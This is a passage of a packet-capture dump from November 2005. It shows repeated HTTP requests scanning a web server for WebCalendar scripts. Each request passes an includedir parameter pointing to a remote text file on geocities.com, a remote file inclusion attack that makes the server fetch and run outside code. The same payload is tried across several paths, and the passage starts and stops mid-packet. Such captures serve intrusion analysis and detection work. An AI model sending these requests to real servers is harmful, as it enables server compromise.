00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11416 2005-11-27 12:15:07.866589 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11416 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 8b 40 00 30 06 d3 7c 41 cb 86 64 cb 57   .CJ.@.0..|A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 f0 1e 00 00 01 01 08 0a df 5d 65 4f 00 00   ...........]eO..
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  45411 2005-11-28 00:33:57.006203 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45411 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59247 (59247), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 d6 19 40 00 30 06 47 ea 41 cb 86 64 cb 57   .G..@.0.G.A..d.W
0020  98 26 e7 6f 00 50 0b 40 40 55 25 a1 cb 0b 80 18   .&.o.P.@@U%.....
0030  16 d0 3f 31 00 00 01 01 08 0a e0 b3 96 db 00 00   ..?1............
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  45424 2005-11-28 00:33:57.566195 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45424 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59342 (59342), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 7b f1 40 00 30 06 a2 12 41 cb 86 64 cb 57   .G{.@.0...A..d.W
0020  98 26 e7 ce 00 50 0a c2 e3 84 25 a6 3d e9 80 18   .&...P....%.=...
0030  16 d0 47 43 00 00 01 01 08 0a e0 b3 98 f6 00 00   ..GC............
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  45452 2005-11-28 00:33:58.874651 xxx.203.134.100        xxx.87.152.38         HTTP     GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45452 (338 bytes on wire, 338 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59440 (59440), Dst Port: http (80), Seq: 1, Ack: 1, Len: 272
Hypertext Transfer Protocol
    GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 44 98 0e 40 00 30 06 85 f8 41 cb 86 64 cb 57   .D..@.0...A..d.W
0020  98 26 e8 30 00 50 0b 16 02 b6 25 ab 45 1a 80 18   .&.0.P....%.E...
0030  16 d0 68 9f 00 00 01 01 08 0a e0 b3 9b 34 00 00   ..h..........4..
0040  00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f   ..GET /calendar/
0050  74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e   tools/send_remin
0060  64 65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65   ders.php?include
0070  64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67   dir=http://www.g
0080  65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75   eocities.com/tru
0090  73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54   stopt/t.txt? HTT
00a0  50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a   P/1.1..Accept: *
00b0  2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75   /*..Accept-Langu
00c0  61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65   age: en-us..Acce
00d0  70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69   pt-Encoding: gzi
00e0  70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72   p, deflate..User
00f0  2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f   -Agent: Mozilla/
0100  34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b   4.0 (compatible;
0110  20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f    MSIE 6.0; Windo
0120  77 73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30   ws 98)..Host: 20
0130  33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e   3.87.152.38..Con
0140  6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a   nection: Close..
0150  0d 0a                                             ..

No.     Time                       Source                Destination           Protocol Info
  45466 2005-11-28 00:33:59.816903 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45466 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59544 (59544), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 f9 ff 40 00 30 06 24 08 41 cb 86 64 cb 57   .C..@.0.$.A..d.W
0020  98 26 e8 98 00 50 0b 63 65 95 25 af 45 4a 80 18   .&...P.ce.%.EJ..
0030  16 d0 1e 75 00 00 01 01 08 0a e0 b3 9c ef 00 00   ...u............
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  45478 2005-11-28 00:34:00.525726 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45478 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59583 (59583), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 b5 6d 40 00 30 06 68 9a 41 cb 86 64 cb 57   .C.m@.0.h.A..d.W
0020  98 26 e8 bf 00 50 0b 5f 28 17 25 b2 28 42 80 18   .&...P._(.%.(B..
0030  16 d0 97 e5 00 00 01 01 08 0a e0 b3 9d ff 00 00   ................
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  45492 2005-11-28 00:34:01.130765 xxx.203.134.100        xxx.87.152.38         HTTP     GET /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45492 (334 bytes on wire, 334 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59657 (59657), Dst Port: http (80), Seq: 1, Ack: 1, Len: 268
Hypertext Transfer Protocol
    GET /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 40 5d a5 40 00 30 06 c0 65 41 cb 86 64 cb 57   .@].@.0..eA..d.W
0020  98 26 e9 09 00 50 0b 30 c3 38 25 b5 03 0c 80 18   .&...P.0.8%.....
0030  16 d0 11 d6 00 00 01 01 08 0a e0 b3 9f 16 00 00   ................
0040  00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f   ..GET /calendar/
0050  77 73 2f 67 65 74 5f 72 65 6d 69 6e 64 65 72 73   ws/get_reminders
0060  2e 70 68 70 3f 69 6e 63 6c 75 64 65 64 69 72 3d   .php?includedir=
0070  68 74 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69   http://www.geoci
0080  74 69 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70   ties.com/trustop
0090  74 2f 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e   t/t.txt? HTTP/1.
00a0  31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a   1..Accept: */*..
00b0  41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a   Accept-Language:
00c0  20 65 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45    en-us..Accept-E
00d0  6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64   ncoding: gzip, d
00e0  65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65   eflate..User-Age
00f0  6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20   nt: Mozilla/4.0 
0100  28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49   (compatible; MSI
0110  45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39   E 6.0; Windows 9
0120  38 29 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37   8)..Host: 203.87
0130  2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74   .152.38..Connect
0140  69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a         ion: Close....

No.     Time                       Source                Destination           Protocol Info
  45505 2005-11-28 00:34:01.748530 xxx.203.134.100        xxx.87.152.38         HTTP     GET /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45505 (336 bytes on wire, 336 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 59703 (59703), Dst Port: http (80), Seq: 1, Ack: 1, Len: 270
Hypertext Transfer Protocol
    GET /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 42 57 b1 40 00 30 06 c6 57 41 cb 86 64 cb 57   .BW.@.0..WA..d.W
0020  98 26 e9 37 00 50 0b 8f c8 01 25 b7 7c eb 80 18   .&.7.P....%.|...
0030  16 d0 aa 5c 00 00 01 01 08 0a e0 b3 a0 30 00 00   ...\.........0..
0040  00 00 47 45 54 20 2f 65 76 65 6e 74 73 2f 74 6f   ..GET /events/to
0050  6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e 64 65   ols/send_reminde
0060  72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64 69   rs.php?includedi
0070  72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65 6f   r=http://www.geo
0080  63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73 74   cities.com/trust
0090  6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50 2f   opt/t.txt? HTTP/
00a0  31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a   1.1..Accept: */*
00b0  0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67   ..Accept-Languag
00c0  65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70 74   e: en-us..Accept
00d0  2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c   -Encoding: gzip,
00e0  20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41    deflate..User-A
00f0  67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e   gent: Mozilla/4.
0100  30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d   0 (compatible; M
0110  53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73   SIE 6.0; Windows
0120  20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33 2e    98)..Host: 203.
0130  38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65   87.152.38..Conne
0140  63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a   ction: Close....

No.     Time                       Source                Destination           Protocol Info
  45523 2005-11-28 00:34:05.731871 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45523 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 60084 (60084), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 3c 82 40 00 30 06 e1 81 41 cb 86 64 cb 57   .G<.@.0...A..d.W
0020  98 26 ea b4 00 50 0b 6c 9b f5 25 c6 26 5f 80 18   .&...P.l..%.&_..
0030  16 d0 73 81 00 00 01 01 08 0a e0 b3 a8 01 00 00   ..s.............
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
